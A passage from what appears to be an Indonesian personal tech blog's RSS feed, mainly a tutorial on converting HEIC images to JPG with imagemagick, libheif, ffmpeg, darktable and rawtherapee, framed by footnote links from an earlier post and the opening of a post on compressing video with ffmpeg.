&lt;p&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/software-download/windows11&quot; target=&quot;_blank&quot;&gt;https://www.microsoft.com/en-us/software-download/windows11&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bobpony.com/downloads/&quot; target=&quot;_blank&quot;&gt;https://bobpony.com/downloads/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://massgrave.dev/genuine-installation-media&quot; target=&quot;_blank&quot;&gt;https://massgrave.dev/genuine-installation-media&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cyberacademy.id/blog/cia-triad-fondasi-utama-information-security-yang-wajib-dipahami-pemula&quot; target=&quot;_blank&quot;&gt;https://www.cyberacademy.id/blog/cia-triad-fondasi-utama-information-security-yang-wajib-dipahami-pemula&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dl.bobpony.com/&quot; target=&quot;_blank&quot;&gt;https://dl.bobpony.com/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://massgrave.dev/genuine-installation-media#verify-authenticity-of-files&quot; target=&quot;_blank&quot;&gt;https://massgrave.dev/genuine-installation-media#verify-authenticity-of-files&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-7&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://files.rg-adguard.net/search&quot; target=&quot;_blank&quot;&gt;https://files.rg-adguard.net/search&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-8&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://msdn.rg-adguard.net/&quot; target=&quot;_blank&quot;&gt;https://msdn.rg-adguard.net/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-9&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://sha1.rg-adguard.net/&quot; target=&quot;_blank&quot;&gt;https://sha1.rg-adguard.net/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-10&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://awuctl.github.io/mvs/&quot; target=&quot;_blank&quot;&gt;https://awuctl.github.io/mvs/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-11&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Tools for Converting Picture Format</title><link>https://shangdi.github.io/posts/tech/imgconvert/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/imgconvert/</guid><description>These are my curated tools (both CLI &amp; GUI) for converting picture file to various formats.</description><pubDate>Mon, 29 Jun 2026 04:58:01 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Preface&lt;a href=&quot;#preface&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Mengapa saya (perlu) membuat artikel ini? Selain karena ini adalah blog saya (jadi suka-suka saya mau menulis tentang apa), alasan utamanya adalah karena saya terkadang menemukan foto atau gambar dengan format yang tidak / belum di-&lt;em&gt;support&lt;/em&gt; di banyak tempat. Akibatnya, sebelum dapat meng-&lt;em&gt;upload&lt;/em&gt; atau membuka file berekstensi “aneh” tersebut, saya seringkali terpaksa harus mengubahnya terlebih dahulu ke format yang lebih familiar, seperti JPG/JPEG/PNG. Sebut saja format gambar anomali itu &lt;code&gt;.HEIC&lt;/code&gt;/&lt;code&gt;.HEIF&lt;/code&gt;, yang sebetulnya lumrah dijumpai di ekosistem buah-buahan (Apple).&lt;/p&gt;&lt;p&gt;Nah, supaya saya tidak perlu terlalu repot mencari &lt;em&gt;tools&lt;/em&gt; &lt;em&gt;open source&lt;/em&gt; untuk menjinakkan format file tersebut, saya akan dokumentasikan saja beberapa hasil pencarian (dan juga penggunaan) &lt;em&gt;tools&lt;/em&gt; yang sudah saya buktikan sangat ampuh dan efektif. Tujuan tersiernya adalah agar (semoga) juga bisa bermanfaat lebih banyak untuk kalian, para pembaca yang budiman.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Untuk kalian yang berpikir, “kenapa tidak di-rename saja dari .HEIC/.HEIF ke format yang diinginkan? Misalnya &lt;strong&gt;Gambar.heic&lt;/strong&gt; ke &lt;strong&gt;Gambar.jpg&lt;/strong&gt;?” Saya beritahu, format file dan ekstensi file adalah dua hal yang berbeda. Memang, di Windows, sebuah file dibaca dari ekstensinya saja (itulah kenapa Windows aneh), sementara di Linux, file dibaca dari format file atau &lt;strong&gt;file signature&lt;/strong&gt; yang tersimpan di metadatanya.&lt;/p&gt;&lt;p&gt;Agar lebih jelas, boleh baca-baca artikel saya berikut ini:&lt;/p&gt;&lt;a href=&quot;/posts/tech/filesig/&quot;&gt;&lt;div&gt;&lt;div&gt;File Signature: How Computer Identifies File Types&lt;/div&gt;&lt;div&gt;File signature is one of the most common concepts when it comes to identifying types of files in your opeating system.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2026-03-30&lt;/span&gt;&lt;span&gt;file signature&lt;/span&gt;&lt;span&gt;&lt;span&gt;#file signature&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#windows&lt;/span&gt;&lt;span&gt;#metadata&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;314&quot; src=&quot;/_astro/featured.DOb3QlTS_Z1wpNwe.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;WARNING&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;DISCLAIMER!&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Artikel ini sepenuhnya merujuk pada &lt;a href=&quot;https://claude.ai/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Antrophic Claude&lt;/strong&gt;&lt;/a&gt;, sebuah AI (&lt;em&gt;Artificial Intelligence&lt;/em&gt;) yang sedang naik daun saat artikel ini ditulis.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;5 &lt;em&gt;tools&lt;/em&gt; yang akan dibahas pada artikel ini:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;imagemagick&lt;/code&gt;: CLI &lt;em&gt;tool&lt;/em&gt; serbaguna yang mendukung ratusan format gambar.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;libheif&lt;/code&gt;/&lt;code&gt;heif-convert&lt;/code&gt;: Library khusus untuk format HEIC/HEIF.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ffmpeg&lt;/code&gt;: Lebih banyak digunakan untuk video, tapi gambar juga bisa.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;darktable&lt;/code&gt; (GUI).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rawtherapee&lt;/code&gt; (GUI).&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;imagemagick&lt;/code&gt;, &lt;code&gt;libheif&lt;/code&gt;, &lt;code&gt;ffmpeg&lt;/code&gt;, dan &lt;code&gt;darktable&lt;/code&gt;, serta &lt;code&gt;rawtherapee&lt;/code&gt;. di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;




























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install imagemagick libheif-dev ffmpeg darktable rawtherapee&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy imagemagick libheif ffmpeg darktable rawtherapee&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install imagemagick libheif ffmpeg-free darktable rawtherapee&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install imagemagick libheif ffmpeg darktable rawtherapee&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;FreeBSD&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pkg install imagemagick libheif ffmpeg darktable rawtherapee&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;imagemagick&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;libheif&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;darktable&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;rawtherapee&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;imagemagick&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libheif&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;darktable&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rawtherapee&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Demonstrasi penggunaan kelima &lt;em&gt;tools&lt;/em&gt; tersebut.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. &lt;code&gt;imagemagick&lt;/code&gt;&lt;a href=&quot;#1-imagemagick&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;a href=&quot;https://github.com/imagemagick/imagemagick&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;imagemagick&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;imagemagick&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Kita dapat langsung mengkonversi file melalui terminal, karena &lt;code&gt;imagemagick&lt;/code&gt; adalah aplikasi berbasis CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;).&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Perintah lama&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;convert&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;File1.HEIC&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FileBaru1.jpg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Perintah baru&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;magick&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;File1.HEIC&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FileBaru1.jpg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;converting .HEIC file via imagemagick&quot; loading=&quot;lazy&quot; width=&quot;1213&quot; height=&quot;950&quot; src=&quot;/_astro/ss1.BIBnhdoH_Z1yFyl5.webp&quot; /&gt;&lt;figcaption&gt;converting .HEIC file via imagemagick&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. &lt;code&gt;libheif&lt;/code&gt;&lt;a href=&quot;#2-libheif&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;a href=&quot;https://github.com/strukturag/libheif&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;strukturag&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;libheif&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Sebagai library, &lt;code&gt;libheif&lt;/code&gt; atau &lt;code&gt;libheif-dev&lt;/code&gt; memang dibuat khusus untuk menangani file .HEIC/.HEIF. Sama seperti &lt;code&gt;imagemagick&lt;/code&gt;, &lt;em&gt;tool&lt;/em&gt; ini berbasis CLI.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;heif-convert&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;File1.HEIC&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FileBaru.jpg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;converting .HEIC file via libheif&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;826&quot; src=&quot;/_astro/ss2.DXpKmFJi_ob9Sw.webp&quot; /&gt;&lt;figcaption&gt;converting .HEIC file via libheif&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. &lt;code&gt;ffmpeg&lt;/code&gt;&lt;a href=&quot;#3-ffmpeg&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;a href=&quot;https://github.com/ffmpeg/ffmpeg&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;ffmpeg&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;ffmpeg&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Ya! Kalian gak salah lihat. Ini adalah &lt;code&gt;ffmpeg&lt;/code&gt; sebuah program pamungkas di urusan video yang rupanya juga bisa meng-&lt;code&gt;handle&lt;/code&gt; file gambar. &lt;code&gt;ffmpeg&lt;/code&gt; adalah aplikasi berbasis CLI juga, seperti dua &lt;em&gt;tools&lt;/em&gt; sebelumnya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;File1.HEIC&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;FileBaru1.jpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Keterangan:&lt;br /&gt;
&lt;code&gt;-v 8&lt;/code&gt;: jangan tampilkan log apapun (mode senyap).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;converting .HEIC file via ffmpeg&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;735&quot; src=&quot;/_astro/ss3.nUXxbbu9_ZjwIRD.webp&quot; /&gt;&lt;figcaption&gt;converting .HEIC file via ffmpeg&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. &lt;code&gt;darktable&lt;/code&gt;&lt;a href=&quot;#4-darktable&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;a href=&quot;https://github.com/darktable-org/darktable&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;darktable-org&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;darktable&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Sedikit berbeda dengan ketiga &lt;em&gt;tools&lt;/em&gt; sebelumnya, &lt;code&gt;darktable&lt;/code&gt; adalah software berbasis GUI (&lt;em&gt;Graphical User Interface&lt;/em&gt;) sehingga lebih &lt;em&gt;user-friendly&lt;/em&gt; untuk pemula maupun profesional.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;converting .HEIC file via darktable&quot; loading=&quot;lazy&quot; width=&quot;1236&quot; height=&quot;1076&quot; src=&quot;/_astro/ss4.CGR4e71D_AYPXM.webp&quot; /&gt;&lt;figcaption&gt;converting .HEIC file via darktable&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. &lt;code&gt;rawtherapee&lt;/code&gt;&lt;a href=&quot;#5-rawtherapee&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;a href=&quot;https://github.com/RawTherapee/RawTherapee&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;RawTherapee&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;RawTherapee&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;rawtherapee&lt;/code&gt; adalah &lt;em&gt;tool&lt;/em&gt; GUI lain lain (yang juga &lt;em&gt;open source&lt;/em&gt;) yang dapat kita gunakan untuk melakukan manipulasi format file gambar, terutama jika kita ingin mengkonversinya dari format .HEIC/.HEIF.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Menyusul.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Terima kasih sudah mampir!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://claude.ai/share/51069e71-cecb-40b3-9f9c-d98c57731abb&quot; target=&quot;_blank&quot;&gt;https://claude.ai/share/51069e71-cecb-40b3-9f9c-d98c57731abb&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Compressing and Speeding Up Video Using `ffmpeg`</title><link>https://shangdi.github.io/posts/tech/ffmpeg-compress-speedup/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/ffmpeg-compress-speedup/</guid><description>My personal small note on how to resizing (compressing) and speeding up video file with only one small yet powerful open source tool: ffmpeg.</description><pubDate>Mon, 29 Jun 2026 03:14:53 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Introduction&lt;a href=&quot;#introduction&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa kali saya menggunaan &lt;code&gt;ffmpeg&lt;/code&gt; untuk keperluan praktis saya: membuat video &lt;em&gt;unboxing&lt;/em&gt; produk yang sudah saya beli di marketplace. Secara lebih spesifik, saya menggunakan &lt;code&gt;ffmpeg&lt;/code&gt; terutama untuk meng-&lt;em&gt;compress&lt;/em&gt; ukuran file agar lebih kecil dan mempercepat durasinya (karena kolom video ulasan di marketplace memang membatasi ukuran dan durasi video).&lt;/p&gt;&lt;p&gt;Terkadang, saya juga perlu mengganti format videonya (misalnya dari .mkv ke .mp4) agar tetap relevan untuk di-upload di kolom review di marketplace. Tapi, untuk mengganti format video ini, saya sudah pernah bahas di artikel sebelumnya:&lt;/p&gt;&lt;a href=&quot;/posts/tech/convertvideoformat/&quot;&gt;&lt;div&gt;&lt;div&gt;FFmpeg - Convert Any Video Format to MP4&lt;/div&gt;&lt;div&gt;If you have ffmpeg installed on your Linux machine, then it actually could help you to convert any video format to 